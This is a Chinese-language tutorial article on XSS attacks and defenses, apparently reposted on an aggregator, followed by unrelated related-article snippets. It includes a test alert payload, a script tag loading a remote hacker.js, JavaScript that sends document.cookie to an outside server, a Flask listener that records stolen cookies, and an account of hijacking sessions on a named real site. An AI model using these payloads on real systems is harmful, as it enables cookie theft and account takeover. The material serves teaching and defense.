XSS常见攻击与防御

本文获得作者授权刊发,更多信息请关注作者专栏。

XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。

XSS攻击案例:

新浪微博遭受XX攻击:

http://soft.yesky.com/security/156/30179156.shtml

人人网遭受XSS攻击:

http://www.freebuf.com/articles/6295.html

简单的测试方法:

所有提交数据的地方都有可能存在XSS,可以用最简单脚本进行测试:

<script>alert(“1”)</script>

XSS攻击类型

反射型:

黑客构造一个包含XSS代码的URL(服务器中没有这样的页面和内容),诱导或等待用户去点击链接,才能触发XSS代码,达到劫持访问、获取cookies的目的。一般容易出现在搜索页面。 例如:https://m.wuage.com/search/self-shop?memberId=4lv8ll4g&keywords=x%22alert(1)%22&psa=M3.s10.0.j4 (此漏洞已经修复,请勿再测,造成访问压力。)

图片描述

持久型:

如果黑客可以将脚本代码通过发布内容(如发论坛、博文、写留言等)的方式发布后,存储在服务端的数据库或者文件中,成为某个url正常的页面的一部分,所有访问这个页面的所有用户都是受害者,看似正常的url,则其页面已经包含了xss代码,持久型XSS更具有隐蔽性,带来的危害也更大

例如:在页面中不容注意的地方加一段js脚本(如下),当页面被打开时,页面会加载这段脚本,加系统登录的cookies发送到远端hacker的手中。

<script type="text/javascript" src="https://xss.xxx.com/hacker.js"></script>

DOM型:

图片描述
DOM就是一个树状的模型,你可以编写Javascript代码根据DOM一层一层的节点,去遍历/获取/修改对应的节点,对象,值。dom xss并不复杂,他也属于反射型xss的一种(,domxss取决于输出位置,并不取决于输出环境,因此domxss既有可能是反射型的,也有可能是存储型的),简单去理解就是因为他输出点在DOM,所以在道哥的《白帽子讲Web安全里》也有详细介绍。xss代码可能是简短的插入script节点的语句,载入来自第三方域的含有具体恶意代码的脚本。具体的恶意代码,常见的行为是读取cookie,构造例如一个img标签,将其src属性指向恶意第三方网站,将cookie的内容作为参数附在src的url上,这样黑客就能在其网站上获得你的cookie信息,这就是所谓的cookie劫持。

js获取浏览器的cookies, 通过网络将cookies发送给远端的接https://xss.xxx.com/hacker.js,收程序。

var img =
document.createElement('img');
img.width = 0;
img.height = 0;
img.src =
'http://10.100.100.14:5000/?hacker='+encodeURIComponent(document.cookie);

接收端,利用python flask写个非常简单的项目

from flask import Flask, requestapp = Flask(__name__)@app.route('/')def get_cookies():text = request.args.get('hacker')with open(file_path, mode='a', encoding='utf-8') as f:f.writelines(text + "\n")if __name__ == '__main__':app.run(host='0.0.0.0', port=5000, debug=app.debug, threaded=True)

示例:(此漏洞已经修复,请勿再测,造成访问压力。)

在www.wuage.com?fromtf=budao注册过后返回个人中心,在公司名称完成XSS注入

图片描述
在搜索页面https://s.wuage.com/product/search?fromtf=budao ,选择一个公司点击讯问价格-勾选上同时发布到求购大厅,此时就会收到源源不断的cookies信息。

图片描述
获取cookies

图片描述

修改cookies,登录网站:

图片描述
图片描述
进入用户的会员中心,查看企业信息

图片描述

XSS攻击防御

设置HttpOnly以避免cookie劫持的危险。

过滤,对诸如

<script>、<img>、<a>

等标签进行过滤。

编码,像一些常见的符号,如<>在输入的时候要对其进行转换编码,这样做浏览器是不会对该标签进行解释执行的,同时也不影响显示效果。

限制,通过以上的案例我们不难发现xss攻击要能达成往往需要较长的字符串,因此对于一些可以预期的输入可以通过限制长度强制截断来进行防御。

更多干货请浏览:

还在手调网络权限?资深IT工程师都这样玩企业组网

利用500W条微博语料对评论进行情感分析


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/525795.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

关于c语言的符号常量以下叙述中正确的是,关于C语言的符号常量,以下叙述中正确的是( )...

关于对起的是下列械布重机置的正确认识。标准运用征税国家公布&#xff0c;符号治权征的家凭借政力开税收是国。常量包括专利权的程序授予。现左膝关痛节肿&#xff0c;下叙化验快R增&#xff0c;性A阴&#xff0c;女性&#xff0c;能的最可诊断是&#xff0c;多发口腔溃疡年来…

创业公司的容器化之路

作者简介&#xff1a; 章烨明&#xff0c;杏仁医生CTO。中年程序员&#xff0c;关注各种技术和团队管理。本文首发杏仁医生技术站 1. 创业公司的技术挑战 托尔斯泰说&#xff1a;“幸福的家庭都是相同的&#xff0c;不幸的家庭各有各的不幸。”互联网创业公司也一样。大部分互…

周围剃光头顶留长发型_发型改变气质,这话放在石原里美身上也通用啊

上周&#xff0c;石原里美的新剧《天国餐馆》开播啦。你们有在追吗&#xff1f;她新剧里的发型争议还蛮大。她在剧里演一个法国餐厅老板黑须假名子&#xff0c;非常多这种大背头造型。很多网友觉得不适合她&#xff0c;有点老气。▼这个大背头发型也是角色需要啦&#xff0c;是…

单片机模数转换实验c语言程序,单片机实验AD转换实验

《单片机实验AD转换实验》由会员分享&#xff0c;可在线阅读&#xff0c;更多相关《单片机实验AD转换实验(5页珍藏版)》请在人人文库网上搜索。1、实验报告课程名称&#xff1a; 单片机原理及应用 实验项目&#xff1a; A/D转换实验 专业班级&#xff1a; 姓 名&#xff1a; 学…

ServiceComb中的数据最终一致性方案

本文由华为微服务引擎技术团队&&ServiceComb社区授权发布。 数据一致性是构建业务系统需要考虑的重要问题 &#xff0c; 以往我们是依靠数据库来保证数据的一致性。但是在微服务架构以及分布式环境下实现数据一致性是一个很有挑战的的问题。ServiceComb作为开源的微服务…

Rabbitmq延迟队列和惰性队列

延迟队列 当一个队列中的消息满足下列情况之一&#xff0c;可以成为死信&#xff1a; &#xff08;1&#xff09;消费者使用basic.reject或basic.nack声明消费失败&#xff0c;并且消息的requeue参数设置为false &#xff08;2&#xff09;消息是一个过期消息&#xff0c;超时…

laydate点击输入框闪一下不见了_爱剪辑:如何制作抖音、苹果风格的快闪视频...

不知道大家有没有看过iPhone的宣传片&#xff0c;视频开头有几十秒的快闪字幕&#xff0c;当时视频一出来就有很多剪刀手求教程&#xff0c;因为这个效果不仅酷炫&#xff0c;用途还很广&#xff0c;可以用于&#xff1a;日常生活介绍、产品介绍、搞笑段子......今天就来教大家…

c语言学习与应用 北京邮电大学出版社,《C语言程序设计与应用》低价购书_计算机与互联网_孔网...

c语言是一种简洁高效的编程语言&#xff0c;目前大多数高等院校把它作为学习程序设计的入门语言。本书针对程序设计的初学者&#xff0c;由浅入深、通俗易懂地介绍c语言。本书主要内容包括c语言概述、数据类型和表达式、程序控制结构、数组、函数、高级变量类型与宏定义、文件共…

C++和Lua交互教程(基于LuaBridge)

作者&#xff1a;查志旺 &#xff0c;向日葵远程控制软件前端开发工程师。 最近公司需要做向日葵远程控制软件跨平台项目&#xff0c;为了代码的可复用性&#xff0c;需嵌入跨平台脚本语言&#xff0c;我们选择了Lua&#xff0c;理由是Lua由标准C编写而成&#xff0c;几乎在所有…

c语言100000阶乘,求10000的阶乘(c语言代码实现)

该楼层疑似违规已被系统折叠 隐藏此楼查看此楼/*程序功能&#xff1a;计算一个正整数n的阶乘&#xff0c;目前最大能运算10000的阶乘&#xff0c;可秒杀。程序意义&#xff1a;加强自己对于大数的处理。说明&#xff1a;此程序对乘法和除法还未做任何优化&#xff0c;如果用上位…

ogg批量配置_最简单OGG配置方式

ogg一般来说有4个进程&#xff0c;Manager进程&#xff0c;Extract进程&#xff0c;Pump进程&#xff0c;Replicat进程Manager进程&#xff1a;是GoldenGate的控制进程&#xff0c;它主要作用有以下几个方面&#xff1a;启动、监控、重启GoldenGate的其他进程&#xff0c;报告错…

与Serverless 的第一次亲密接触

Servrless概念 Serverless 是一个架构上的概念&#xff0c;从字面上理解就是无服务器架构。Serverless最初是用于描述依赖第三方服务实现对逻辑和状态进行管理的应用&#xff0c;典型的例子是单页 Web 和移动 App 这种富客户端应用&#xff0c;他们一般都使用基于云端的数据库…

eclipse把tomcant用到一个项目里_聊一个镜头工艺里容易被忽略,但很重要的项目...

在不改换门庭的情况下&#xff0c;一颗镜头一般都会伴随大家使用很长一段时间&#xff0c;也相信大多数人都遇到过剐蹭镜头前组的情况&#xff0c;这时候最容易引发的担忧就是“伤着镀膜了么&#xff1f;会不会影响成像效果&#xff1f;”其实换个角度来看&#xff0c;这个问题…

c语言中词法分析怎么识别注释,C语言中的词法分析-如何在检测多行注释时使星号被读取并输出?...

我正在研究词法分析程序&#xff0c;检测到一行注释时一切正常。 这是我的单行注释检测代码。//Single Commentif ((Current_Character /) && (fgetc(File_Input) /)){printf("%c", Current_Character);do{printf ("%c", Current_Character);Cur…

Java性能调优的11个实用技巧

大多数开发人员认为性能优化是个比较复杂的问题&#xff0c;需要大量的经验和知识。是的&#xff0c;这并不没有错。诚然&#xff0c;优化应用程序以获得最好的性能并不是一件容易的事情&#xff0c;但这并不意味着你在没有获得这些经验和知识之前就不能做任何事。下面有几个很…

华为手机怎么看图片属性_华为手机怎么才能息屏显示时间?操作方法很简单,看完涨知识了...

现如今大家几乎都是手机不离身&#xff0c;甚至有些朋友机不离手。所以已经比较少人&#xff0c;会因为看时间而佩戴手表了&#xff0c;毕竟只要按下电源键就可以看时间了。其实现在的很多手机&#xff0c;不用亮屏也能看时间&#xff0c;下面我们就一起来看看是如何设置的吧。…

android内置t卡中预制资源,[FAQ17514][Recovery]Recovery mode FAQ搜寻指南

[DESCRIPTION]Recovery mode 依据不同问题归类为几个属性标签如下[Debug/Log] :debug log , adb 相关问题[OTAError] :升级过程报错相关问题[UI/Key] : UI 界面与 custom key 配置相关问题[Otapackage] : 制作升级包相关问题[SecureOTA] : secure boot proje…

开源神器,无需一行代码就能搞定机器学习,不会数学也能上手

对于机器学习和数据科学的初学者来说&#xff0c;最大的挑战之一是需要同时学习太多知识&#xff0c;特别是如果你不知道如何编码。你需要快速地适应线性代数、统计以及其他数学概念&#xff0c;并学习如何编码它们&#xff0c;对于新用户来说&#xff0c;这可能会有点难以承受…

linux twm,linux 命令缩写解析

linux有非常多的命令&#xff0c;如果可以知道它是什么的缩写&#xff0c;一定非常方便我们的记忆。下面转载一下这方面的知识。bin BINaries/dev DEVices/etc ETCetera/lib LIBrary/proc PROCesses/sbin Superuser BINaries/tmp TeMPorary/usr Unix Shared Resources/…

OpenStack不行了吗?悉尼峰会,OpenStack的白城反击战?

作者&#xff1a;李开&#xff0c;九州云99Cloud联合创始人&副总裁。 11月悉尼的春天忽然变得阴冷潮湿&#xff0c;和第一天抵达时候的风和日丽大相径庭&#xff0c;海风推动着飘忽的乌云&#xff0c;有点电影《魔戒》里黑暗军团压境的味道。 由于早上不小心睡过了头&…